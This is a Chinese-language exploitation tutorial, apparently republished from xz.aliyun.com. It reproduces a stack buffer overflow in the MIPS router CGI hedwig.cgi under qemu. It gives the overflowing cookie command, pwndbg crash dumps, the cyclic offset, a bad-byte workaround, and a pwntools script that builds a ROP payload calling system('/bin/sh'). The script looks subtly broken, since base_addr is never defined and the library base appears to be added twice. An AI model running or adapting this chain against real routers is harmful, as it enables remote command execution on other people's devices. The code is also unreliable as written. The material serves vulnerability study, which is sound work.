sudo chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=20 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=`python -c "print 'uid=123'+'A'*0x600"` -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="0.0.0.0" -g 23946 ./htdocs/web/hedwig.cgi

然后我们还是用gdb attach上

pwndbg> target remote localhost:23946
Remote debugging using localhost:23946
0x767e9a00 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
 V0   0x0
 V1   0x0
 A0   0x0
 A1   0x0
 A2   0x0
 A3   0x0
 T0   0x0
 T1   0x0
 T2   0x0
 T3   0x0
 T4   0x0
 T5   0x0
 T6   0x0
 T7   0x0
 T8   0x0
 T9   0x0
 S0   0x0
 S1   0x0
 S2   0x0
 S3   0x0
 S4   0x0
 S5   0x0
 S6   0x0
 S7   0x0
 S8   0x0
 FP   0x0
 SP   0x76ffea50 ◂— 0x1
 PC   0x767e9a00 ◂— move   $t9, $ra /* 0x3e0c821 */
───────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
 ► 0x767e9a00    move   $t9, $ra
   0x767e9a04    bal    0x767e9a0c
   0x767e9a08    nop    
   0x767e9a0c    lui    $gp, 2
   0x767e9a10    addiu  $gp, $gp, -0x39fc
   0x767e9a14    addu   $gp, $gp, $ra
   0x767e9a18    move   $ra, $t9
   0x767e9a1c    lw     $a0, -0x7fe8($gp)
   0x767e9a20    sw     $a0, -0x7ff0($gp)
   0x767e9a24    move   $a0, $sp
   0x767e9a28    addiu  $sp, $sp, -0x10
───────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ sp  0x76ffea50 ◂— 0x1
01:0004│     0x76ffea54 —▸ 0x76ffeb53 ◂— './htdocs/web/hedwig.cgi'
02:0008│     0x76ffea58 ◂— 0x0
03:000c│     0x76ffea5c —▸ 0x76ffeb6b ◂— 'REMOTE_ADDR=0.0.0.0'
04:0010│     0x76ffea60 —▸ 0x76ffeb7f ◂— 'REQUEST_URI=/hedwig.cgi'
05:0014│     0x76ffea64 —▸ 0x76ffeb97 ◂— 0x50545448 ('HTTP')
06:0018│     0x76ffea68 —▸ 0x76fff1ab ◂— 'REQUEST_METHOD=POST'
07:001c│     0x76ffea6c —▸ 0x76fff1bf ◂— 'CONTENT_TYPE=application/x-www-form-urlencoded'
─────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
 ► f 0 767e9a00

然后让程序继续运行,此时报错

pwndbg> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
 V0   0xffffffff
 V1   0x4b
 A0   0x76ffe480 —▸ 0x767ae4e0 ◂— 0x0
 A1   0x1
 A2   0x42e000 ◂— 0x0
 A3   0x20
 T0   0x767ab4c8 ◂— 0x4b /* 'K' */
 T1   0x1309
 T2   0x2
 T3   0x24
 T4   0x25
 T5   0x807
 T6   0x800
 T7   0x400
 T8   0x8
 T9   0x0
 S0   0x41414141 ('AAAA')
 S1   0x41414141 ('AAAA')
 S2   0x41414141 ('AAAA')
 S3   0x41414141 ('AAAA')
 S4   0x41414141 ('AAAA')
 S5   0x41414141 ('AAAA')
 S6   0x41414141 ('AAAA')
 S7   0x41414141 ('AAAA')
 S8   0x41414141 ('AAAA')
 FP   0x76ffe980 ◂— 0x41414141 ('AAAA')
 SP   0x76ffe980 ◂— 0x41414141 ('AAAA')
 PC   0x41414141 ('AAAA')
───────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
Invalid address 0x41414141
───────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ fp sp  0x76ffe980 ◂— 0x41414141 ('AAAA')
... ↓
─────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
 ► f 0 41414141
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV
pwndbg>

好了,栈溢出实锤了,之后我们改一下运行脚本,测试一下偏移

cyclic 600

改一下程序运行脚本之后发现程序回显为:

HTTP/1.1 200 OK
Content-Type: text/xml

<hedwig><result>FAILED</result><message>unable to open temp file.</message></hedwig>%

无法打开某tmp文件,但是程序在之前是直接溢出的,那么我们先改大输入流

pwndbg> cyclic 1536

将运行命令改为:

sudo chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=20 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=`python -c "print 'uid=123'+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaap'"` -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="0.0.0.0" -g 23946 ./htdocs/web/hedwig.cgi

成功栈溢出

pwndbg> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x6b61616b in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
 V0   0xffffffff
 V1   0x4b
 A0   0x76ffe480 —▸ 0x767ae4e0 ◂— 0x0
 A1   0x1
 A2   0x42e000 ◂— 0x0
 A3   0x20
 T0   0x767ab4c8 ◂— 0x4b /* 'K' */
 T1   0x1309
 T2   0x2
 T3   0x24
 T4   0x25
 T5   0x807
 T6   0x800
 T7   0x400
 T8   0x8
 T9   0x0
 S0   0x6b616162 ('baak')
 S1   0x6b616163 ('caak')
 S2   0x6b616164 ('daak')
 S3   0x6b616165 ('eaak')
 S4   0x6b616166 ('faak')
 S5   0x6b616167 ('gaak')
 S6   0x6b616168 ('haak')
 S7   0x6b616169 ('iaak')
 S8   0x6b61616a ('jaak')
 FP   0x76ffe980 ◂— 0x6b61616c ('laak')
 SP   0x76ffe980 ◂— 0x6b61616c ('laak')
 PC   0x6b61616b ('kaak')
───────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
Invalid address 0x6b61616b
───────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ fp sp  0x76ffe980 ◂— 0x6b61616c ('laak')
01:0004│        0x76ffe984 ◂— 0x6b61616d ('maak')
02:0008│        0x76ffe988 ◂— 0x6b61616e ('naak')
03:000c│        0x76ffe98c ◂— 0x6b61616f ('oaak')
04:0010│        0x76ffe990 ◂— 0x6b616170 ('paak')
05:0014│        0x76ffe994 ◂— 0x6b616171 ('qaak')
06:0018│        0x76ffe998 ◂— 0x6b616172 ('raak')
07:001c│        0x76ffe99c ◂— 0x6b616173 ('saak')
─────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
 ► f 0 6b61616b
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV

此时查一下偏移量

pwndbg> cyclic -l 0x6b61616b
1040

好的,现在我们有了偏移量,下面就可以开始构造payload了
在日常的栈溢出中,我们的目标是esp指针,但是在mips架构下,我们的目标就变成了$ra,因为是路由器,所以一般没有aslr,我们只需要找到基址,然后直接调用system函数即可,

这里提一个小trick, 在我们想写入的地址有坏字节时,可以通过先-1写入,后面依靠其他gadget来将地址加一来完成构造(比如本例中system函数是在0x53200,我们先存入减一的值,再后面再利用gadget来加一恢复

exp如下:

#!/usr/bin/python

from pwn import *
context.endian="little"
context.arch="mips"
system_addr = 0x53200-1+0x767e9000
add_jar = 0x159CC # addiu $s5,$sp,0x170+var_160 | jalr $s0 |
sys_1 = 0x000158C8 # addiu $s0,1 | jalr $s5 |
padding = 'uid=' + 'a' * 1013
padding += p32(base_addr + system_addr)       
padding += 'a' * 16
padding += p32(base_addr+add_jar)               
padding += 'a' * 12 
padding += p32(base_addr + sys_1)       
padding += 'a' * 0x10
padding += '/bin/sh\x00'

with open("payload",'wb') as f:
    f.write(padding)
f.close()

enjoy:)


文章来源: http://xz.aliyun.com/t/6808
如有侵权请联系:admin#unsafe.sh